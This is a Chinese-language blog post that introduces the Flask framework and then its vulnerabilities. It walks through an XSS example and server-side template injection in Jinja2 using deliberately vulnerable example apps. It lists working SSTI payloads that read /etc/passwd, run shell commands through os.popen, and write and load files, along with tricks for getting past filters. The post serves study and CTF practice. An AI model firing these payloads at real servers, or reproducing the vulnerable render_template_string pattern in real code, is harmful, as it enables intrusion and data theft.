首页 > 其他分享 >Flask框架及其漏洞学习

Flask框架及其漏洞学习

时间:2023-01-08 23:25:51浏览次数:63  
标签:__ .__ name 框架 Flask app 漏洞 class

Flask是什么?

Flask是一个相对于Django而言轻量级的Web框架,是Python开发的一个基于WerkzeugJinja 2的web开发微框架,它的优势是极其简洁,但又非常灵活,而且容易学习和应用。因此Flask框架是Python新手快速开始web开发最好的选择,此外,使用Flask框架的另一个好处在于你可以非常轻松地将基于Python的机器学习算法或数据分析算法集成到web应用中。

Django:Python下有许多款不同的 Web 框架。Django是重量级选手中最有代表性的一位。许多成功的网站和APP都基于Django。

Werkzeug:Werkzeug是Python的WSGI规范的实用函数库。

WSGI:是为 Python 语言定义的 Web 服务器和 Web 应用程序或框架之间的一种简单而通用的接口。自从 WSGI 被开发出来以后,许多其它语言中也出现了类似接口。我们不希望接触到TCP连接、HTTP原始请求和响应格式,所以,需要一个统一的接口,让我们专心用Python编写Web业务。这个接口就是WSGI:Web Server Gateway Interface。

Jinja 2:Jinja2是Python下一个被广泛应用的模版引擎,功能比较类似于于PHP的smarty

模板引擎(这里特指用于Web开发的模板引擎 ):为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

Flask基操

安装Flask

pip install flask

编写Hello,Flask!

  1. 引入Flask类
from flask import Flask
  1. 创建Flask对象,我们将使用该对象进行应用的配置和运行:
app = Flask(__name__)

___name__是Python中的特殊变量,如果文件作为主程序执行,那么__name__变量的值就是__main__,如果是被其他模块引入,那么__name__的值就是模块名称。

  1. 编写主程序

在主程序中,执行run()来启动应用:

if __name__ =="__main__":
    app.run(debug=True, port=8080)

改名启动一个本地服务器,默认情况下其地址是localhost:5000,在上面的代码中,我们使用关键字参数port将监听端口修改为8080。

  1. 路由

使用app变量的route()装饰器来告诉Flask框架URL如何触发我们的视图函数:

@app.route('/')
def hello_world():
    return 'Hello, Flask!'

上面的标识,对路径'/'的请求,将转为对hello_world()函数的调用。

image-20210914205338833

使用HTML模板

from flask import Flask
app = Flask(__name__)


@app.route('/greet')
def greet():
    user = {'username': 'ggbond', 'age': '18'}
    return '''
<html>
    <head>
        <title>Templating</title>
    </head>
    <body>
        Hello, <b>''' + user['username'] + '''</b>!, you’re <b>''' + user['age'] + '''</b> years old.
    </body>
</html>'''


if __name__ == '__main__':
    app.run(debug=True, port=8080)

image-20210914205413958

拼接HTML字符串非常容易出错,因此Flask使用Jinja 2模板引擎来分离数据逻辑和展示层。

使用模板时,视图函数应当返回render_template()的调用结果。例如下面的代码片段渲染模板index.html,并将渲染结果作为视图函数的返回值:

我们将模板文件按如下路径放置:
app.py
templates
|-/index.html

app.py

from flask import Flask
from flask import render_template
from flask import request
app = Flask(__name__)


@app.route('/hello')
def hello():
    name = request.args.get('name')
    return render_template('index.html', name=name)


if __name__ == '__main__':
    app.run(debug=True, port=8080)

index.html

<html>

<body>
    {% if name %}
    <h2>Hello {{ name }}.</h2>
    {% else %}
    <h2>Hello.</h2>
    {% endif %}
</body>

</html>

image-20210914205507819

Flask框架漏洞

flask使用Jinja作为模板语言,模板应该放在myapp/templates/——一个在应用文件夹里面的目录。Jinja有两种定界符:{% ... %}{{ ... }}。前者用于执行类似循环或赋值的语句,后者向模板输出表达式求值的结果。

flask导致XSS漏洞

from flask import Flask, request
app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def test():
    code = request.args.get('test')
    html = '<html>%s</html>'
    return html % code


if __name__ == '__main__':
    app.run(debug=True, port=8080)

image-20210914205827157

为了避免XSS,可以使用render_tempplate_string对输入的文本进行渲染。

from flask import Flask, request, render_template_string
app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def test():
    code = request.args.get('test')
    html = '<html>{{var}}</html>'
    return render_template_string(html, var=code)


if __name__ == '__main__':
    app.run(debug=True, port=8080)

image-20210914210037860

SSTI漏洞

SSTI(Server-Side Template Injection) 服务端模板注入

服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。

基础知识

  • 在jinja2中,存在三种语句:控制结构 {% %}、变量取值 {{ }}、注释 {# #}
  • jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。
  • 在Jinja2引擎中,{{}}不仅仅是变量标示符,也能执行一些简单的表达式
  • 模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

漏洞成因

将参数当字符串来渲染并且使用了% request.args.get()导致模版渲染可控。如下:

from flask import Flask, request, render_template_string
app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def test():
    code = request.args.get('test')
    template = '<html>%s</html>' % code
    return render_template_string(template)


if __name__ == '__main__':
    app.run(debug=True, port=8080)

image-20210914211657582

漏洞代码使用了render_template_string函数,而如果使用render_template函数,将变量传入进去,经过固定模版的渲染便不可控了。

漏洞利用

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

利用思路:找到父类<type 'object'>–>寻找子类 subclasses()–>找关于命令执行或者文件操作的模块

构造继承链的思路是
1)随便找一个内置类对象用class拿到他所对应的类
2)用bases拿到基类(<class 'object'>)
3)用subclasses()拿到子类列表
在子类列表中直接寻找可以利用的类。

1、获取’‘的类对象:''.__class__
2、追溯继承树:''.__class__.__mro__
3、可以看到object已经出来了,然后继续向下查找object的子类:''.__class__.__mro__[2].__subclasses__()
4、找到可执行命令或者读文件的方法,找到第40个为<type> 'file',执行命令:''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

常用payload:

python3
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('file').read()}}
- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
- 命令执行:{{lipsum.__globals__.__getitem__["os"].popen("whoami").read()}}

python2
- 文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- 文件读取:().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
- 写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }} 
python2、python3共有,可命令执行:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

一些绕过

(1)过滤[]等括号

使用gititem绕过。如原poc {{"".class.bases[0]}}
绕过后{{"".class.bases.getitem(0)}}

(2)过滤了subclasses,拼凑法

原poc{{"".class.bases[0].subclasses()}}
绕过 {{"".class.bases[0]['subcla'+'sses']}}

(3)过滤class,使用session

poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session['__cla'+'ss__'].__mro__[12]}}
或者
request['__cl'+'ass__'].__mro__[12]}}

(4)timeit姿势

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()

特殊:

{{get_flashed_messages}}
{{url_for}}
{{%print(lipsum|attr("__globals__“))|attr("__getitem__")("os")|attr("popen")("whoami")|attr(”read“)()%}}

使用attr过滤器,对应 do_attr

即用来获取类的属性 由getattr函数来实现{{config|attr("__class__")}}

__getitem__方法返回键对应值,attr过滤器获得类属性

参考文章:

flask框架漏洞

Python Flask框架:零基础web开发入门教程

Flask框架(jinja2)服务端模板注入漏洞分析(SSTI)

Python——flask漏洞探究https://www.cnblogs.com/Rasang/p/12181654.html)

标签:__,.__,name,框架,Flask,app,漏洞,class
From: https://www.cnblogs.com/seizer/p/17035706.html

相关文章

  • Element前端框架的简介+基于springboot框架的CRUD
    1ElementUI简介基于Vue的一套桌面端组件库,提前封装好的UI模板,方便开发者快速搭建一个网站前端界面。官网:https://element.eleme.cn/2ElementUI安装首先创建......
  • Struts2系列漏洞复现汇总-持续更新中
    Struts2漏洞目录struts2漏洞S2-001(CVE-2007-4556)(已完成)struts2漏洞S2-003(已完成)struts2漏洞S2-005(已完成)struts2漏洞s2-007(已完成)struts2漏洞S2-008......
  • gin框架中结合cron实现定时任务执行
    gin框架中结合cron实现定时任务执行背景:一个hr管理系统中,需要每日定时处理员工离职操作,需要每天定时执行删除账号等操作,在这使用定时任务比较方便,比如每天晚21点执行实现......
  • Java Netty框架自建DNS代理服务器教程
    前言DNS协议作为着互联网客户端-服务器通信模式得第一关,在当下每天都有成千上亿上网记录产生得当今社会,其重要性自然不可言喻。在国内比较有名得DNS服务器有电信得114.11......
  • 中间件漏洞——ngnix
    文件解析漏洞由php配置不当产生的漏洞,与nginx版本无关php.ini文件中的cgi.fix_pathinfo的值为1时,fastcgi不认识用户上传的畸形文件会修复路径再由php-fpm.conf中的secur......
  • Fission:基于 Kubernetes 的 Serverless 函数框架
    原文为Platform9的软件工程师SoamVasani所写,讲解了一个基于Kubernetes的Serverless函数(FaaS)框架——Fission。简单的来讲,Fission是一个构建在 ​​Kubernetes​......
  • Redis未授权访问漏洞复现
    redis数据库默认无密码认证,当数据库未设置认证时,即存在未授权漏洞,可以导致服务器被远控等危害。复现使用客户端连接redis远程服务器./redis-cli-h127.0.0.1-p6379......
  • SpringBoot笔记--文件配置加载顺序+整合其他框架
    内部文件配置加载顺序外部文件配置加载顺序jar包配置整合Junit若是业务管理类和测试类在同一个包下面,那么这句话,可以不加括号,只写注解名称否则,就必须指定到包......
  • 中间件漏洞——apache
    解析漏洞1、php配置引起的扩展名解析漏洞在mod_php与apache的模式下会出现该漏洞。该模式下php作为apache的子模块对代码进行解析,遇到匹配下面代码规则的文件,则继续当做......
  • cocos creator教程:框架 - 封装
    【muzzik教程】:框架-封装遇到的问题部分接口/属性不想暴露给外部外部引用方式框架加载方式部分接口/属性不想暴露给外部exportclassprivate_test{ test_b=......